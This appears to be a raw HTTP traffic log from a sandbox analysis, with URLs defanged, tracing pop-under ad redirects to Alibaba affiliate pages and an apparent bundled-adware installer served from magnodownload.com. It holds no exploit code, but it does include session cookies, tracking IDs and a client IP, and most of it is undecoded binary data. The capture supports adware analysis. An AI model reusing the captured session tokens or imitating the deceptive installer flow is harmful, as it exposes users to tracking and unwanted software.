;. ...=......]...-....tcj..!kb4........DR...i..v......F.-..=.R........
.z}.P..c....Z....z...X0C..D.H$.>H.P}..../.................;..yxP.WK
.l..A...f...........e..T ..RL.........C.. ..._~.....G?.;.=.Y........O.
.....?...<../A...X.....B..?..g..oX.....X."K..0.N..v.b/?..g_......_.
[email protected].`.........O.s.J.KPl
.?..s,............f".:.S...e......2..<.`.O.X......~.W/...._........
.......[...#...3..m .Ax.....'...............m.K..c.....k..............
...;......=,..A....b...Q..6s..F9.4G/..b..p.....2...._4`......~;.w..<
;....`..~LC...XS=7n...A..Y..D....XYh.(...8....r4..p.. ..Q.W....j..?...
Q..R?.......h......:.2....w..<?.....Yp.U..A........s(..h.._....
<<< skipped >>>

GET /js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 18684

Last-Modified: Thu, 30 Apr 2015 13:37:25 GMT

Content-Encoding: gzip

Timing-Allow-Origin: *

Cache-Control: max-age=28046073

Expires: Mon, 02 May 2016 15:08:07 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........}.v.F...H.y2...)[....ql..3v.....(j...%. [email protected]...
.tN[`....... ....q..._...U...eQ,.......^.G.`..&.....$(.4.-..H'i..\<
...=........M.9g8.gQ........}...&...<L.."....ix..g.2..kn..Z.. ...f.
..-.?PjT.O..........j5.,...I..9. J?.....O..........Rx.&E..p.`..l......
.Appp.Pm....Wy:}~...88..,|........u4......M...........A....7......i...
,.>.....cX... R..E......c............>~......-.......[FY..n..^.P
%.H...U..5U...8n...}.........5.....8...O.....M29).b.g.\.e..T.7.....;- 
.d.......K...he...i0......P...*.,.k.p..`..P[}Zn...?......{....,).....z
.."L...[X.p....FgnP.Y...xo.e....e..9L5....,K3...L.<..8.7Q\."..Y...i
^X.2.=...5..n&.Q<....!..u.K.^.. UL.....B.S5.9,{...]\..0.'....#h ...
...n.......[.[..t..3o.ey..%..1......QW....:*&.........Z....#.......s&l
t;Z./....K%.......4...a....%..l...Q.K.\.....-.]....$.......Gk7....S...
.z.r.f.m).7.d`..Q...o.<J`...O.pn.d.;?..wf.m..qn......!~.....1...F..
.....S'..e...%gj.."^.}..!W..{..X....d[[email protected]%D..
...`..(...M..X......\.49....1 Vk.%..(9m.V6T..^I8......Y..DHv.dg....._t
...Y.....~.8L.R...#...../.,....{..D..y.`9{.b.;.9..r...."P..0.(...Q>
.:.....-.]:.0.C.#.&...Vk...iOb..........D.(......ZW..mi..loow).(..O..8
&Jv............E.*0<U.........._.......5..%...."....1QW?54......ko/
...mg{.J9...ZQTQ..X.I.qU..8...Hh..I......8...._...v.............-...D.
..v.......v..zx......q.K.0..yT..qT....&..%n...T.25>.E...#c.Z...4R..
.1tp.. j..'..X.]L?./...t.....K..[.[.c[....OLY"....F....KN.g..4?..S.>
;[;.v.F.e.CM...J/.=.......0....MQ...]me......PA.X..'.E.z..8-S.<
<<< skipped >>>

GET /css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Last-Modified: Thu, 30 Apr 2015 11:11:19 GMT

Content-Encoding: gzip

Content-Length: 6999

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=27961177

Expires: Sun, 01 May 2016 15:33:11 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *
...........=....r...`13.V.,.... ..a_.......Eu.#K.$Ow.1_p......7...W.."
%...L6....$...b.X7..........*.5.P.....<m...0.~w.......>.: ...}..
..rK..5......e..C..*.-.[5..*..w.(......w5.(.......K.3...e.U.ss..m..x..
..,%.p.>.....S....=./i.....-.....GM.o|.}Q.>i=.P./{t.tWW.2..w{...
...h.~gSG........#.....y..O.^.lv......p....5*........7.Ze^....:.uP.4?7
.%.Lva...X.._."'...y....A .T.W.Q}...p6.(......,L....=.G.....-:... Y..{
.^.Ia_....f... ..c...)......3.:.d....}.[..)~......;.fP.....y....).H..N
(M......!,.>.....M8.....,..A.-.......7)..Nw.Y.A..y......cu./......n
~F.....m....!<.4.......O......O.._.. ..7L.$h....P...l.0.fE.-l.y?&9L
GC./..!....t.(0..d ........R....u.....b..=..-..2.......@R|.j.f.S."...6
.1m...CC......(.S.7.2N*.......\......(...!...>h#t.#...9...s.!......
...."K7uc.?!....q-q.....\7.P.3t.Z{y2.|B5......^.'RF:.....o5L.0!.WX@/..
N.......I.o./...A.N.08....{.h4.. '..)...q(........tT." .e.w...K.4.E...
..'....O.N&.6>. .&.m.['.......A.`|..m.i9.......?Y...s.:&....{7P...}
:.-A.0.......?.}>........tj..`n....."..k.....v(...GC.eM.P.^.Y.r..8x
@.I...u..C...>4.........D.%~. :o..hnO.....WI........Q.j|.....6.....
..4.K..M.].i.d.M.T.d..R)..H......?-.^.a..c.sY.\8...3.....!.:<..\...
...._=....(*"..M....=@u]=...}OS.......w.A[......u......{!..X.^.E......
.<.....pP..o.,S...As..tzzd...jf..u.x/.........l&......v...i..'...8.
b">.0..H>96A..DPn.;..].n.........Tq...x.c~.......Q[...~..?....&l
t;LV..|.,...f..<....W.zd?..G...........*....[3.C...n'P..1U.Y..m]...
..e...../.~..E..u.q...Y....q.....[.ks...".[..t..U....p h..&.[./.s.
<<< skipped >>>

GET /simg/sprites/env/webatm/common.png?t=ad99287c_0 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: style.aliunicorn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3565

Last-Modified: Tue, 28 Apr 2015 07:34:58 GMT

ETag: ad99287c_0

Timing-Allow-Origin: *

Cache-Control: max-age=27600010

Expires: Wed, 27 Apr 2016 11:13:44 GMT

Date: Sat, 13 Jun 2015 00:33:34 GMT

Connection: keep-alive

Timing-Allow-Origin: *
.PNG........IHDR.......q.....f..N....tEXtSoftware.Adobe ImageReadyq.e&
lt;....PLTE........"......Z......./.ND...........{...Q..|...gN...Iw...
.2}.y........9...............|........).......g......J5...............
...C....I..s.m.t........8j."Y...2...}}}K...........R..............h...
.......hg................I.....is.....2.....{.......x... }....=......X
.=..6....................................H3...............L...........
F...7%4...>=.......93W..*`...8....,'...p..............V............
.................=....g........Y...............[........*f.....{e...A.
[email protected].........../...!!VVV......
Ma................uuu...........W.........kkk...q..............U..^...
.........................................2...........=r....O...~......
.......8.....<..h.....a..'o.*y.7{.E..E.. s.C}..a...................
.................f.....tRNS...........................................
......................................................................
......................................................................
......................................................................
...S..%...wIDATx...yT.....Q. .*R.2Jt.Y.EF....QA.as)E....c.i4.. j...S..
....Q....#.f\cLB....i...i.&-4I..~...k<... .{..{.......w.C%...2.(..N
.. ...qx.3.h..h-..h..=.L-L.......d..e.....J%i.H2.....I...3...g*sc`.3).
)gj,..s.)....i..v.v....K3..t.kPF.e._6}..]...d..>.....N..R...d..I.;@
t.... ...{.d...R.].....&...6..m...*g.RKc`.3..)g..d..hH..\....Y........
....)..].2.(..2.(..2.(..}Y.gu.q.QF.e.QFYO.5}RA...e.QF.e.QF.e=F.f..
<<< skipped >>>

GET /b.jpg?cD17MX0mdT17L29mZmVyLmFsaWJhYmEuY29tL2V4Y2x1c2l2ZS5odG1sP2FscHNtPXRydWUmc21zPXN1Z2ludGVyJnNtY29uPXAmdHY9MyZpbXA9NWIxYW9yMTlubDVicTc2bTNoaiZ4cD1MdmdNdXo3U3hWQlNPOG04cExOT0g3YTMxYmVEcVlXZW0wNUFwbFhvbGd2akQwOTdUSW9OWk9vZU5LS2J0S0Fhc3R5bjR0ZG9FX21HLU83ZnBxYTJpQ3d4dDVxY2NBaXJCeE1RQkZQbnRMNCZwaWQ9MzEzMjc1JnRkPVByb3BlbGxlcmFkcyZjdj0xNDcwMDEmYWZmX2lkPTE4MjQ2MzYxOCZjdD0xJnNpemU9MDAwXzAwMCZjbj1VQSZhbj0xMDAwMDAwMDQ2MDAxJmJtPWNwYSZ0cDE9NjUzNTIxNTAxNTEmc3JjPXNhZn0mbT17R0VUfSZzPXsyMDB9JnI9e2h0dHA6Ly9vbmNsaWNrYWRzLm5ldC9hZnUucGhwP3pvbmVpZD0zMTMyNzV9JmE9ey19JmI9ey19JmM9e3RyZmNfaT1zYWZednV0bHI1dTNebTFqcWhxMzleMTlubDVicTc2fGFlcF91c3VjX2Y9LX0=&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&sys=ie6.0|windowsXP|1276*846|en-us&ver=40&time=1434155618687 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dmtracking2.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_
HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 00:33:29 GMT

Server: Apache/2.2.22 (Unix) aliTracking(for apache2.x)/2.1 mod_ssl/2.2.22 OpenSSL/0.9.8x

Set-Cookie: ali_beacon_id=193.138.244.231.143415561055.341443.0; path=/; domain=.alibaba.com; expires=Fri, 20-Mar-2026 12:00:00 GMT

Last-Modified: Wed, 12 Mar 2014 08:22:58 GMT

ETag: "d000d9-0-4f4648b4f9c80"

Accept-Ranges: bytes

Content-Length: 0

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Connection: close

Content-Type: image/jpeg

GET /notification.do?callback=jQuery183069035179626267_1434155618578&_=1434155620249 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: notification.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; xman_us_f=x_l=0; xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; uns_unc_f=trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76; _ga=GA1.2.1214118344.1434155619; _gat=1; ali_beacon_id=193.138.244.231.143415561055.341443.0; cna=WWgCDjWxzjYCAcGK9OdXbmWQ

HTTP/1.1 200 OK

Server: Tengine

Date: Sat, 13 Jun 2015 00:33:31 GMT

Content-Type: text/html;charset=UTF-8

Content-Length: 0

Connection: keep-alive

Set-Cookie: JSESSIONID=BV1AilYA4YXbPY1StnUUAM1n; Path=/

P3P: CP="CAO PSA OUR"

Set-Cookie: ali_apache_track=""; Domain=.alibaba.com; Expires=Thu, 01-Jul-2083 03:47:38 GMT; Path=/

Set-Cookie: ali_apache_tracktmp=""; Domain=.alibaba.com; Path=/

Content-Language: en-US
HTTP/1.1 200 OK..Server: Tengine..Date: Sat, 13 Jun 2015 00:33:31 GMT.
.Content-Type: text/html;charset=UTF-8..Content-Length: 0..Connection:
 keep-alive..Set-Cookie: JSESSIONID=BV1AilYA4YXbPY1StnUUAM1n; Path=/..
P3P: CP="CAO PSA OUR"..Set-Cookie: ali_apache_track=""; Domain=.alibab
a.com; Expires=Thu, 01-Jul-2083 03:47:38 GMT; Path=/..Set-Cookie: ali_
apache_tracktmp=""; Domain=.alibaba.com; Path=/..Content-Language: en-
US..

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/i-download.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sat, 13 Jun 2015 00:33:24 GMT

ETag: "54fdc5af-cfd"

Last-Modified: Mon, 09 Mar 2015 16:09:19 GMT

Server: nginx

Content-Length: 3325

Connection: keep-alive
.PNG........IHDR...*...*........[....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:11EB63A0AE0011E4A9FEBA
77EDE0B7A3" xmpMM:DocumentID="xmp.did:11EB63A1AE0011E4A9FEBA77EDE0B7A3
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:11EB639EAE0011E4
A9FEBA77EDE0B7A3" stRef:documentID="xmp.did:11EB639FAE0011E4A9FEBA77ED
E0B7A3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.......oIDATx..Y{l.G......l..qvb...WS....
..UTH..*.._.....BH...U.V!JKyH-.(.....M.".....)i.. .vI.4q..............
.q^........nvg.......L.......#r].z./.r/o.......8...C.z0.,.Z...6.>..
..}......V...k.......#{..3.p*..Rq...q.T...L..H....lh..D"..3X...s.X(...
^4.3]...l...sW....x}.&xU{..)......l@.....;<. .........(.......L..].
`..Y........~sxK..u...I8..Fd.......z3.l5...$?[....9]....6.......J..R..
K..k4...7.....s...#..IrLQ.....|.(/....\.X..\U..uG...=........)P.k=...V
/...d............fP.b!...'l.  ......L.c...._y.h.....oJ.#....|..y..s~.l
f.....m..$TZ.Jza...-|..,..H....1..9..[....{..F.93..B..n..U.....:..
<<< skipped >>>

GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-bar.png HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sat, 13 Jun 2015 00:33:24 GMT

ETag: "54fdc5b3-cc6"

Last-Modified: Mon, 09 Mar 2015 16:09:23 GMT

Server: nginx

Content-Length: 3270

Connection: keep-alive
.PNG........IHDR...|.........L.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /__maxpower__/render_screen/2014/10/e8150ca4-4ae4-11e4-be98-06a3579b0dab/screen_variation=f_link HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Sat, 13 Jun 2015 00:33:26 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 600

Connection: keep-alive
.<!--finish Link-->....<div class="finish">..<h1>...
.....%mapp% Setup Wizard.......</h1>..<p style="margin-top: 1
5px; font-size: 13px;">You have succesfully installed the software 
below and they are ready to be used:</p>....<div class="items
">...<ul>....<li class="check">%mapp%</li>......&
lt;/ul>..</div>....<div class="clear"></div>....&
lt;p>Recommended offers:</p>......<div class="list-toolbar
s" id="alloffers">....<ul class="_FinishOffers">....</ul&g
t;...</div>...........<input id="_Bexit" class="_Bexit close 
absol" tabindex="2" type="submit" name="nombre" onclick='onExit()' val
ue="Close">....</div>......


GET /maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/gif

Date: Sat, 13 Jun 2015 00:33:26 GMT

ETag: "54fdc5ab-36"

Last-Modified: Mon, 09 Mar 2015 16:09:15 GMT

Server: nginx

Content-Length: 54

Connection: keep-alive
GIF89a.............!.......,...................P..U..;HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Content-Type: image/gif..Date: Sat, 13 Jun 2015
 00:33:26 GMT..ETag: "54fdc5ab-36"..Last-Modified: Mon, 09 Mar 2015 16
:09:15 GMT..Server: nginx..Content-Length: 54..Connection: keep-alive.
.GIF89a.............!.......,...................P..U..;..

GET /afu.php?zoneid=313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 13 Jun 2015 00:33:27 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sun, 14-Jun-2015 00:33:27 GMT; path=/

Set-Cookie: OAID=4e669e2bd6717936b5e499a170ec68e5; expires=Sun, 12-Jun-2016 00:33:27 GMT; path=/

Content-Encoding: gzip
392.............U[..6.~....0.&.!.2)a*.......S.!I c...n.N2....1.&..ZMQb
.\.s......gL.r .L...Ru$.... ...(......HJXD.......i..u&)d.......\.....{
,..) .5......$.4....l....,.....bY.....d....`...J..2....8.Z.dY*!...=./b
.....$.#....R.0.g2....`7.).).....P...x...|...A..]g.pg..1...q...]..sZ..
..d..}{|Ue...-...H........az.y....0 .B..Y.E......o.Rk.[..D........D..^
..u....q.HJ.....h..Q...Z...]Z..].{......Q...*..._.L....=..{...=<. .
Uj.k....(.....l....z9."..j.Q.......H)O1.aY..?.c$$(.5g.DX..M.o..."..F..
.....j;z%/YN|"..k./...(....*...c.........a6....kz....75V.`U........wC.
r..~.g..../R.,.}..H...5kO....[..1e`.....l.g,M.....3_]....w ....e..W}F.
3..l..w5..I_...z.1....d8'..<.~..,.#........@[email protected]]wY.....zs
.x.cF\..._...n.....` jN..........I/w...5cD..j.h"c.o1..q...5P;V.2E.b>
;.Z1h.....B..._.}.7q?..C##1..Cp.U{.v(R...e.VG${v....D.B........T......
.6..^.]..._y... ]...B....k.. .*..9.WX....6...?p...eE.mj...6.....<,.
....A..y'.....^c.......0......


GET /?r=/mb/han&zoneid=313275&pbk2=aed4aed7aec61aea2427c1373066bf8d6159651431394916656&saved_referer=&adparams=bm9qcz0w&a=1256&b=693 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; OAID=4e669e2bd6717936b5e499a170ec68e5

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Sat, 13 Jun 2015 00:33:27 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sun, 14-Jun-2015 00:33:27 GMT; path=/

Set-Cookie: ppucnt=1; expires=Sun, 14-Jun-2015 00:33:27 GMT; path=/

Set-Cookie: OAID=4e669e2bd6717936b5e499a170ec68e5; expires=Sun, 12-Jun-2016 00:33:27 GMT; path=/

Set-Cookie: _OACCAP[45384]=1; expires=Sun, 12-Jun-2016 00:33:27 GMT; path=/

Set-Cookie: _OACBLOCK[45384]=1434155607; expires=Mon, 13-Jul-2015 00:33:27 GMT; path=/

Location: hXXp://click.alibaba.com/rd/vutlr5u3?pid=313275&tp1=65352150151&cv=147001&cn=UA
0..HTTP/1.1 302 Moved Temporarily..Server: nginx..Date: Sat, 13 Jun 20
15 00:33:27 GMT..Content-Type: text/html..Transfer-Encoding: chunked..
Connection: keep-alive..Pragma: no-cache..Cache-Control: private, max-
age=0, no-cache..Expires: Mon, 26 Jul 1997 05:00:00 GMT..P3P: CP="CUR 
ADM OUR NOR STA NID"..Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|6
1000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=
Sun, 14-Jun-2015 00:33:27 GMT; path=/..Set-Cookie: ppucnt=1; expires=S
un, 14-Jun-2015 00:33:27 GMT; path=/..Set-Cookie: OAID=4e669e2bd671793
6b5e499a170ec68e5; expires=Sun, 12-Jun-2016 00:33:27 GMT; path=/..Set-
Cookie: _OACCAP[45384]=1; expires=Sun, 12-Jun-2016 00:33:27 GMT; path=
/..Set-Cookie: _OACBLOCK[45384]=1434155607; expires=Mon, 13-Jul-2015 0
0:33:27 GMT; path=/..Location: hXXp://click.alibaba.com/rd/vutlr5u3?pi
d=313275&tp1=65352150151&cv=147001&cn=UA..0..
<<< skipped >>>

GET /__maxpower__/render_template/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab?language_code=en HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Sat, 13 Jun 2015 00:33:22 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 2152

Connection: keep-alive
..<!--Template Win_Link-->.<div class="link-v2">.<div c
lass="container">.. <div class="minimize">.  <ul>.    &
lt;li><span id="_Bminimize" onclick="minimizeWindow();" class="b
utton-min">-</span></li>.    <li><span id="_Be
xit" onclick="onExit()" class="button-min">x</span></li>
;.  </ul>.</div>..<div class="icon-image">.</div&
gt;..<div id="_frameContainer" class="content">..  ..</div>
